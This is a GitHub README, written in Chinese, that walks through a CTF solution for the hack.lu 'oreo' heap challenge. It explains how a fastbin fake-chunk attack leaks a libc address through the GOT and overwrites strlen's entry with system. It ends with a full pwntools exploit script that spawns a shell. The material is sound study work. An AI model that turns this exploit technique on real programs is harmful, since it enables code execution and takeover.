Skip to content

xzjpgithub/hack.lu-oreo

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 
 
 
 
 
 
 

Repository files navigation

fastbin原理:

1.堆溢出修改堆块结构中指向下一个堆块的指针,指向伪造的chunk
2.伪造chunk,为了绕过next_size,要保证伪造的chunk的下一个chunk的大小不能太大或者太小
3.然后free这个伪造的chunk,然后malloc一个相同大小的chunk,达成对伪造chunk的读写

这里使用hack.lu-oreo记录fastbin的学习小结

menu add-增加堆块(漏洞点:在dword_804A288+25(name)的地方读取了56个字节,但是总共只申请了0x38=56个字节,所以可以溢出)
gan的结构体为

struct{  
    char* description;
    char* name;
    gan* last_heap;
}gan

所以这里可以溢出到last_heap

add

show-展示堆块(漏洞点:打印堆块的是,由于可以溢出到last_heap,那么可以将last_heap修改成任意的got表地址,那么在打印堆块的时候,就会将got表地址里面的值当成description打印出来)

show

order-delete堆块(漏洞点:日常不置空)
delete

leaveMessage(漏洞点:这个函数会往bss段写数据,但是他是往dword_804a2a8这个地址里面的值作为地址写数据,如果这个地址可以控制,那么就可以往任意地址写数据了)
message

利用思路

1.泄露基址:利用add溢出使用函数got地址覆盖到last_heap,然后使用show函数打印出来
2.伪造chunk:这里使用bss段也就是message所在的地方伪造chunk,message的起始是0x804a2a8中的值指向的0x804a2c0。可以通过观察发现,0x804a2a8-4是另外一个变量,是add的数量,所以伪造0x40的chunk,就需要add 40次。并且要过free时next_size的检测,所以要在bss段伪造两个chunk,只需要对第二个chunk的大小做一定的伪造即可
3.利用message可以向0x804a2a8中保存的指向的地址写任意内容,如果不做任何修改,默认指向的是0x804a2c0。所以free我们伪造在bss段的chunk,在malloc的时候,可以获取0x804a2a8中的写权限,然后修改0x804a2a8中指向的地址,然后在使用message这个函数,向我们写入的地址中写入任何内容。所以我们可以将strlen_got放在0x804a2a8地址,然后通过message向strlen_got里面写入system_addr的地址,然后在后面调用strlen的时候,就会调用system。

##利用代码

from pwn import *

DEBUG=1
if DEBUG:
	context.log_level='debug'
	p=process('./oreo')
	gdb.attach(p,'b *0x80487b5')
else:
	p=remote()

def add(name, description):
	p.sendline('1')	
	p.sendline(name)
	p.sendline(description)


def show():
	p.sendline('2')

def delete():
	p.sendline('3')


def message(notice):
	p.sendline('4')
	p.sendline(notice)

p.readuntil('Exit')
add('a','a')
delete()



#leak free_addr in libc
free_got=0x804a238
payload=27*'A' + p32(free_got)
add(payload, 25*'b')
show()

p.recvuntil('Description: ')
p.recvuntil('Description: ')

free_in_libc=u32(p.recv(4))
success(hex(free_in_libc))

#create fake chunk
for i in range(0x40-2):
	add('a','a')

bss_addr=0x804a2a8
#chunk1
payload='a'*27+p32(bss_addr) 
add(payload,'n')
#chunk2
message('a'*0x1c + '\x00'*4 + 'a'*4 + p32(100))
delete()

#when the func of message write notice to bss_addr, it will write to the addr of what 0x804a2a8 point to 
strlen_got=0x804a250
add('b', p32(strlen_got))

libc=ELF('libc-2.23.so')
libc_base = free_in_libc-libc.symbols['free']
system_addr = libc_base + libc.symbols['system']

success(hex(system_addr))


message(p32(system_addr)+';/bin/sh')
p.interactive()


参考看雪的文章,自己分析了跟gdb,重新写了一遍脚本,感谢~

原文链接:https://bbs.pediy.com/thread-247214-1.htm

About

my way to pwn

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages